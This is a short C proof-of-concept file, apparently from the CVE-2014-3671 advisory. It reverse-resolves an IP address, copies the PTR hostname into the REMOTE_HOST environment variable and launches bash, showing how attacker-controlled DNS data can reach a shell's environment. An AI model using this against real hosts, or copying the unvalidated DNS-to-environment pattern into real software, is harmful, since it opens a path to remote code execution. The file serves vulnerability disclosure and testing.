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osx-rev-ptr.c
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osx-rev-ptr.c
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/* See the CVE-2014-3671 advisory.
*
* Copyright 2014 Dirk-Willem van Gulik, All Rights Reserved.
* <dirkx(at)webweaving.org>,
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <sys/socket.h>
#include <netdb.h>
#include <assert.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(int argc, char ** argv) {
struct in_addr addr;
struct sockaddr_in sa;
char host[1024];
assert(argc==2);
assert(inet_aton(argv[1],&addr) == 1);
sa.sin_family = AF_INET;
sa.sin_addr = addr;
assert(0==getnameinfo((struct sockaddr *)&sa, sizeof sa,
host, sizeof host, NULL, 0, NI_NAMEREQD));
printf("Lookup result: %s\n\n", host);
assert(setenv("REMOTE_HOST",host,1) == 0);
execl("/bin/bash",NULL);
}